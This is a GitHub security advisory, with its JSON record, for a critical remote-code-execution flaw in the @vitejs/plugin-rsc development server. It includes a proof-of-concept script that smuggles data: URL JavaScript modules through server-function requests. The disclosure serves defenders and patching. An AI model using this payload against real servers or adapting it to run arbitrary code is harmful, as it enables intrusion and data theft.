GHSA-J76J-5P5G-9WFR

Vulnerability from github – Published: 2025-12-08 22:16 – Updated: 2025-12-09 21:37
VLAI?
Summary
@vitejs/plugin-rsc Remote Code Execution through unsafe dynamic imports in RSC server function APIs on development server
Details

Summary

Arbitrary Remote Code Execution on development server via unsafe dynamic imports in @vitejs/plugin-rsc server function APIs (loadServerAction, decodeReply, decodeAction) when integrated into RSC applications that expose server function endpoints.

Impact

Attackers with network access to the development server can execute arbitrary JavaScript code with Node.js privileges, allowing them to read/modify files, exfiltrate sensitive data (source code, environment variables, credentials), or pivot to other internal services. While this affects development servers only, the risk increases when using vite --host to expose the server on all network interfaces.

Details

In the example RSC application provided in Proof of Concept, the server handles server function call through API such as loadServerAction, decodeReply, decodeAction with http request's header and body as inputs:

https://github.com/vitejs/vite-plugin-react/blob/c8af971f57f12d0190d7fd8829a429f5e4112f60/packages/plugin-rsc/examples/starter/src/framework/entry.rsc.tsx#L42-L47

During development, these API internally relies on dynamic import to load server function module, which allows executing arbitrary module including data url module.

https://github.com/vitejs/vite-plugin-react/blob/c8af971f57f12d0190d7fd8829a429f5e4112f60/packages/plugin-rsc/src/rsc.tsx#L19-L24

Proof of Concept

The example app is avialable in - https://github.com/vitejs/vite-plugin-react/tree/main/packages/plugin-rsc/examples/starter - https://stackblitz.com/edit/github-rubfqp9k?file=poc.js

Reproduction Steps:

  • Stat development server vite dev
  • Run a following script node poc.js
  • See "REMOTE CODE EXECUTION1" and "REMOTE CODE EXECUTION2" in server console
// [poc.js]
const payload = {
  0: ["$F1"],
  1: { id: "data:text/javascript,console.log('REMOTE CODE EXECUTION 1')# " },
};
const fd = new FormData();
for (const key in payload) {
  fd.append(key, JSON.stringify(payload[key]));
}

const serverUrl = process.argv[2] || 'http://localhost:5173/_.rsc';
const response = fetch(serverUrl, {
  method: "POST",
  headers: {
    "x-rsc-action": "data:text/javascript,console.log('REMOTE CODE EXECUTION 2')# ",
  },
  body: fd,
})
Severity ?
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.5.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@vitejs/plugin-rsc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-67489"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-08T22:16:31Z",
    "nvd_published_at": "2025-12-09T21:16:00Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nArbitrary Remote Code Execution on development server via unsafe dynamic imports in `@vitejs/plugin-rsc` server function APIs (`loadServerAction`, `decodeReply`, `decodeAction`) when integrated into RSC applications that expose server function endpoints.\n\n## Impact\n\nAttackers with network access to the development server can execute arbitrary JavaScript code with Node.js privileges, allowing them to read/modify files, exfiltrate sensitive data (source code, environment variables, credentials), or pivot to other internal services. While this affects development servers only, the risk increases when using `vite --host` to expose the server on all network interfaces.\n\n\n## Details\n\nIn the example RSC application provided in Proof of Concept, the server handles server function call through API such as `loadServerAction`, `decodeReply`, `decodeAction` with http request\u0027s header and body as inputs:\n\nhttps://github.com/vitejs/vite-plugin-react/blob/c8af971f57f12d0190d7fd8829a429f5e4112f60/packages/plugin-rsc/examples/starter/src/framework/entry.rsc.tsx#L42-L47\n\nDuring development, these API internally relies on dynamic import to load server function module, which allows executing arbitrary module including data url module.\n\nhttps://github.com/vitejs/vite-plugin-react/blob/c8af971f57f12d0190d7fd8829a429f5e4112f60/packages/plugin-rsc/src/rsc.tsx#L19-L24\n\n## Proof of Concept\n\nThe example app is avialable in\n- https://github.com/vitejs/vite-plugin-react/tree/main/packages/plugin-rsc/examples/starter\n- https://stackblitz.com/edit/github-rubfqp9k?file=poc.js\n\n**Reproduction Steps:**\n\n- Stat development server `vite dev`\n- Run a following script `node poc.js`\n- See \"REMOTE CODE EXECUTION1\" and \"REMOTE CODE EXECUTION2\"  in server console\n\n```js\n// [poc.js]\nconst payload = {\n  0: [\"$F1\"],\n  1: { id: \"data:text/javascript,console.log(\u0027REMOTE CODE EXECUTION 1\u0027)# \" },\n};\nconst fd = new FormData();\nfor (const key in payload) {\n  fd.append(key, JSON.stringify(payload[key]));\n}\n\nconst serverUrl = process.argv[2] || \u0027http://localhost:5173/_.rsc\u0027;\nconst response = fetch(serverUrl, {\n  method: \"POST\",\n  headers: {\n    \"x-rsc-action\": \"data:text/javascript,console.log(\u0027REMOTE CODE EXECUTION 2\u0027)# \",\n  },\n  body: fd,\n})\n```",
  "id": "GHSA-j76j-5p5g-9wfr",
  "modified": "2025-12-09T21:37:59Z",
  "published": "2025-12-08T22:16:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite-plugin-react/security/advisories/GHSA-j76j-5p5g-9wfr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67489"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite-plugin-react/commit/fe634b58210d0a4a146a7faae56cd71af3bb9af4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vitejs/vite-plugin-react"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@vitejs/plugin-rsc Remote Code Execution through unsafe dynamic imports in RSC server function APIs on development server"
}


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  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
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  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



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